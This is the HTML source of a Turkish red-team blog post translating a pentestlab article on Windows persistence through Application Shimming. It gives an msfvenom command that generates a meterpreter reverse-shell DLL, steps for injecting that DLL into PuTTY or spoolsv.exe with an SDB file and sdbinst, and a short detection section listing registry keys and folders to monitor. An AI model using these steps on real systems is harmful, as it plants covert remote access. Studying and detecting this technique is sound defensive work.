-
Notifications
You must be signed in to change notification settings - Fork 0
/
application-shimming-kullanarak-windows-sistemler-uzerinde-kalicilik.html
183 lines (153 loc) · 13.4 KB
/
application-shimming-kullanarak-windows-sistemler-uzerinde-kalicilik.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="utf-8">
<title> Application Shimming Kullanarak Windows Sistemler Üzerinde Kalıcılık
</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="HandheldFriendly" content="True" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="author" content="0x656e" />
<meta name="description" content="Selamlar, Başlık bilgisinde geçen Application Shimming'i Türkçeye çevirmek oldukça zor bunun yerine anladığımı çevirdiğim yazıya ek olarak Shimming'in ne olduğunu/benim nasıl anladığımı yazmaya çalışacağım. Not: Yazı benim araştırmış olduğum bir yazı olmayıp, okuyup beğendiğim, anladığımı düşündüğüm bir konu üzerinde aşağıdaki link üzerinden kendi halinde çevirilmiş bir yazıdır. Birebir ana …" />
<meta name="keywords" content="Application Shimming, Red Team, Kırmızı Takım, Windows sistemlerde kalıcılık, Windows Pentest, Windows Kırmızı Takım, Windows Red Team">
<meta property="article:tag" content="Application Shimming" />
<meta property="article:tag" content="Red Team" />
<meta property="article:tag" content="Kırmızı Takım" />
<meta property="article:tag" content="Windows sistemlerde kalıcılık" />
<meta property="article:tag" content="Windows Pentest" />
<meta property="article:tag" content="Windows Kırmızı Takım" />
<meta property="article:tag" content="Windows Red Team" />
<link rel="canonical" href="https://enesergun.net/application-shimming-kullanarak-windows-sistemler-uzerinde-kalicilik.html"/>
<meta name="description" content=""/>
<!-- og definitions -->
<meta property="og:type" content="article" />
<meta property="og:url" content="https://enesergun.net/application-shimming-kullanarak-windows-sistemler-uzerinde-kalicilik.html" />
<meta property="og:title" content="Application Shimming Kullanarak Windows Sistemler Üzerinde Kalıcılık" />
<meta property="og:description" content="Selamlar, Başlık bilgisinde geçen Application Shimming'i Türkçeye çevirmek oldukça zor bunun yerine anladığımı çevirdiğim yazıya ek olarak Shimming'in ne olduğunu/benim nasıl anladığımı..." />
<meta property="og:image" content="https://w0.peakpx.com/wallpaper/212/918/HD-wallpaper-virtual-world-sunset-80s-landscape-retro-theme-tron.jpg" />
<link rel="stylesheet" href="theme/style.css">
<link href="https://enesergun.net/feeds/all.atom.xml" type="application/atom+xml" rel="alternate" title="Enes Ergün Atom Feed" />
</head>
<body>
<div class="container">
<header class="blog-header">
<h1><a href="https://enesergun.net" class="glitch glow" data-text="Enes Ergün">Enes Ergün</a></h1>
<p> Chaotic Neutral / ISTP-T - 30 lvl rogue - Cyber Security </p>
<nav>
<a href="https://enesergun.net/">INDEX</a>
<a href="https://enesergun.net/archives">ARCHIVES</a>
<a href="https://enesergun.net/categories">CATEGORIES</a>
</nav>
</header>
<div class="post">
<header>
<h1>Application Shimming Kullanarak Windows Sistemler Üzerinde Kalıcılık</h1>
<p class="date">Written on <time datetime="2019-12-21T15:00:00+03:00">Dec 21, 2019</time></p>
</header>
<article>
<p>Selamlar,</p>
<p>Başlık bilgisinde geçen Application Shimming'i Türkçeye çevirmek oldukça zor bunun yerine anladığımı çevirdiğim yazıya ek olarak Shimming'in ne olduğunu/benim nasıl anladığımı yazmaya çalışacağım.</p>
<p><strong>Not:</strong> Yazı benim araştırmış olduğum bir yazı olmayıp, okuyup beğendiğim, anladığımı düşündüğüm bir konu üzerinde aşağıdaki link üzerinden kendi halinde çevirilmiş bir yazıdır. Birebir ana kaynakla aynı değildir. </p>
<h2>Shimming Nedir?</h2>
<p>Windows sistemler üzerinde bir uygulamanın her sistemde çalışabilmesi adına çeşitli ayarlar barındıran bir dosyadır. <code>SDB</code> dosyası olarak sistemler üzerinde tutulmaktadır. Dosya format olarak XML dosya formatındadır. Bu sayede sistemler üzerinde admin veya geliştiriciler yüklü uygulamalar üzerinde <code>Uyumluluk</code> sorunlarını düzeltebiliyor veya patchleyebiliyorlar diyebiliriz.</p>
<p>Örnek bir SDB Dosyası: <a href="https://github.com/williballenthin/python-sdb">Python-SDB</a></p>
<p>Microsoft bu sebeple bir geliştirici kiti yayınlamıştır. Bu geliştirici kitinin ismi kısaca ADK'dır(Asssesment and Deployment Kit).
<a href="https://go.microsoft.com/fwlink/?linkid=2086042">ADK'yı indirmek İçin Tıklayın</a></p>
<h2>Biz bu SDB Dosyası ile Ne yapacağız?</h2>
<p>Yukarıda bahsetmiş olduğum <code>Uyumluluk</code> problemi için bu SDB dosyaları içerisinde InjectDLL diye bir seçenek bulundurmaktadır. Bunun sebebi geliştiricler eğer eski bir windows versiyonunda çalışacak uygulama varsa bu sisteme uygun DLL dosyasını uygulamaya dahil etmesini gerektirdiğindendir.</p>
<p>Windows 10 sisteme bazı uygulamaların açılabilmesi için .Net Framework 4.5 ile birlikte Net Framework 3.5 yüklemek gibi düşünebiliriz. (Sadece örnektir, geriye dönük uyumluluğun anlaşılabilmesi için vs.)</p>
<p>İşte bu InjectDLL özelliği bizim kullancağımız şeydir. Eğer biz burada bir uygulamaya istediğimiz bir DLL'i enjekte(!) edebilirsek bu sistem üzerinde kalıcılığı sağlamış oluruz. Üstelik görsel herhangi bir uyarı olmadan. </p>
<p><strong>Not:</strong> Defcon 23'de bu konuyu işleyen, gündeme getiren <a href="https://twitter.com/secure_sean">Sean Pierce</a>'in orjinal sunum/videosu için aşağıdaki linki kullanabilirsiniz.</p>
<p><a href="https://www.youtube.com/watch?v=LOsesi3QkXY">Abusing Native Shims for Post Exploitation</a></p>
<h2>Uygun bir DLL Dosyası Hazırlamak</h2>
<p>Burada siz isterseniz kendinize özel bir DLL dosyası hazırlayabilirsiniz fakat okuduğum örnekte bu DLL dosyası Reverse Shell almak için kullanılmaktadır. </p>
<p>MSFVenom ile DLL Dosya formatında Reverse Shell oluşturmak için</p>
<div class="highlight"><pre><span></span><code>msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><span class="m">10</span>.0.0.1 <span class="nv">LPORT</span><span class="o">=</span><span class="m">4444</span> -f dll > pentestlab.dll
</code></pre></div>
<h2>Arayüz ile Herhangi bir Uygulamaya DLL'i Enjekte Etmek</h2>
<p>Bunun için Windows'un bize sunmuş olduğu ADK Toolkit uygulamasını açıyoruz ve burada sol sütundan Custom databases altında yeni bir database oluşturuyoruz. </p>
<p><img alt="Windows ADK" src="https://pentestlab.files.wordpress.com/2019/12/persistence-application-shimming-combatibility-administrator.png"></p>
<p>Örnek üzerinde Putty kullanılmış. Putty kullanılmasının nedeni ise sıkça kullanılan küçük bir uygulama olması ve sistem yöneticileri vs tarafından şüphe çekmeyen bir uygulama olmamasından dolayıdır. Kendisi bir clientdır.(SSH, Telnet etc.)</p>
<p><img alt="Putty DLL Inject" src="https://pentestlab.files.wordpress.com/2019/12/persistence-application-shimming-create-application-fix.png"></p>
<p>Aşağıdaki ekran görüntüsünde yukarıdaki ekranda next dedikten sonra InjectDLL seçeneğini seçiyoruz ve Next diyoruz.</p>
<p><img alt="InjectDLL" src="https://pentestlab.files.wordpress.com/2019/12/persistence-application-shimming-inject-dll.png"></p>
<p>Burada açılan ekranda ise InjectDLL'in bizden parametre isteyen ekranı açılacaktır. Bu ekranda <code>Command Line</code> kısmına biraz önce oluşturduğumuz DLL dosyasının konumunu veriyoruz.</p>
<p><img alt="Options for InjectDLL" src="https://pentestlab.files.wordpress.com/2019/12/persistence-application-shimming-inject-dll-options.png"></p>
<p>İşte bu kadar tüm işlemler tamamlandıktan sonra artık bir <code>sdb</code> dosyasına sahibiz. Buradan sonraki kısım ise bu <code>sdb</code> dosyasını sisteme eklemek.</p>
<p>Bunun için </p>
<div class="highlight"><pre><span></span><code>sdbinst olusturdugunuzsdb.sdb
</code></pre></div>
<p><img alt="SDB Install" src="https://pentestlab.files.wordpress.com/2019/12/persistence-application-shimming-installed.png"></p>
<p>Evet artık her şeyimiz tamamlandı, sistem yöneticimiz ne zaman Putty'yi açarsa bize Reverse Shell düşecektir. Metasploit üzerinde Multi handler açıp sürekli dinleyerek nurtopu gibi bir meterpreter shell'e sahip olabilirsiniz. </p>
<h2>Arayüz Olmadan Enjekte Etmek</h2>
<p>Bunun için CLI üzerinden aşağıdaki komutunu girmeniz yeterli olacaktır.</p>
<div class="highlight"><pre><span></span><code>sdb-explorer.exe -r pentestlab.sdb -a istediginiz.exe
</code></pre></div>
<p>Tabi burada illa kurulu bir uygulama olmasına gerek yok isterseniz Windows sistem üzerinde çalışan herhangi bir exe'ye de bunu enjekte edebilirsiniz. Okuduğum makale örneğinde <code>spoolsv.exe</code> dosyasına enjekte edilmiştir.</p>
<h2>Peki Her Şey Güzel Biz Bu İşlem Olduğunda Anlayabilir Miyiz?</h2>
<p>Sorunun kısa cevabı: Evet.
Uzun cevap:</p>
<p>Oluşturulan bu SDB dosyalarına ait kayıtlar Windows sistemler altında AppPatch klasörü altında tutulmaktadır. </p>
<p>Bu klasöre ulaşmak için: </p>
<div class="highlight"><pre><span></span><code><span class="c">%WINDIR%\AppPatch\custom</span><span class="w"></span>
<span class="c">%WINDIR%\AppPatch\AppPatch64\Custom</span><span class="w"></span>
</code></pre></div>
<p>Ha bunun yerine isterseniz Process Explorer içerisinde de kaybolabilirsiniz.</p>
<h2>Tespit etmek</h2>
<p>Registry değişikliklerini veya dosya konumlarını izlemek bunun için bir yöntemdir. Takip edilecek Registry ve dosya konumları aşağıda verilmiştir. Oluşturulacak yeni bir key SysMon üzerinde <code>12</code> event ID ile tetiklenecektir. </p>
<p>Registry konumları:</p>
<div class="highlight"><pre><span></span><code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB\
</code></pre></div>
<p>Dosya konumu:</p>
<div class="highlight"><pre><span></span><code><span class="c">%WINDIR%\AppPatch\custom</span><span class="w"></span>
<span class="c">%WINDIR%\AppPatch\AppPatch64\Custom</span><span class="w"></span>
</code></pre></div>
<p>Daha detaylı bir bilgi almak için Sean Price'ın <a href="https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims.pdf">sunumunu</a> kullanabilirsiniz.</p>
<p>Okuduğum yazı:
<a href="https://pentestlab.blog/2019/12/16/persistence-application-shimming/">Persistence Application Shimming</a></p>
<h2>Yazı Sonu</h2>
<p>Konu nispeten eski bir konu fakat okuduğum kaynak yeni attığı için ben de çevirme ihtiyacı duydum o yüzden bu konuda bir eleştiri kabul etmeyeceğim :D Hoş kabul etsem de umurumda değil orası ayrı.</p>
<p>Bu yazıyı dün sabaha doğru yazdım ve planım yazı sonuna doğru kendi duygu/durum, ülkenin hali(Nolacak bu ülkenin hali yav?), arkadaşlık ilişkileri(Arkadaşlardan ziyade tanıdıklarım kavramı) gibi içimdeki bir çok şeyi yazı sonuna dökecektim fakat gerek olmadığını düşünüyorum. Yine bir klasik olarak şarkı ile bu yazının sonunu getirelim hem konuya, hem boşvermişliklere uygun olsun.</p>
<p><a href="http://www.youtube.com/watch?v=4eAQIXcvJ3A" title="Duygusal olmaya gerek yok"><img alt="" src="http://img.youtube.com/vi/4eAQIXcvJ3A/0.jpg"></a></p>
</article>
<footer>
<p>This entry is posted in <a href="https://enesergun.net/category/siber-guvenlik.html">siber güvenlik</a>.</p>
</footer>
<div class="comments">
<div id="disqus_thread"></div>
<script type="text/javascript">
var disqus_shortname = '0x656e';
(function() {
var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
</script>
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
<a href="http://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</div>
</div>
<footer class="blog-footer">
<ul class="nav">
<li><a href="https://devilinside.me/"> Eşelyon</a></li>
<li><a href="https://medium.com/@brkalbyrk"> Berk Albayrak</a></li>
<li><a href="https://ahmtglr.wordpress.com/"> Ahmet Güler</a></li>
<li><a href="https://kaganisildak.com/"> Kağan Işıldak</a></li>
<li><a href="https://eybisi.run/"> Eybisi</a></li>
<li><a href="https://onur.im/"> Onur Aslan</a></li>
<li><a href="https://canyoupwn.me/"> Canyoupwn.me</a></li>
<li><a href="https://www.oguzozkeroglu.com"> Oğuz Özkeroğlu</a></li>
<li><a href="https://aligoren.com"> Ali Gören</a></li>
<li><a href="https://0xf61.gitlab.io/"> Emir Kurt</a></li>
<br>
<li><a href="www.twitter.com/eness_ergun">Twitter</a></li>
<li><a href="[email protected]">Mail</a></li>
</ul>
<p class="disclaimer">
Built with <a href="http://getpelican.com">Pelican</a>, and <a href="https://github.com/ka1nsha/MBPelican">MB Pelican</a> theme.
</p>
</footer>
</div>
</body>
</html>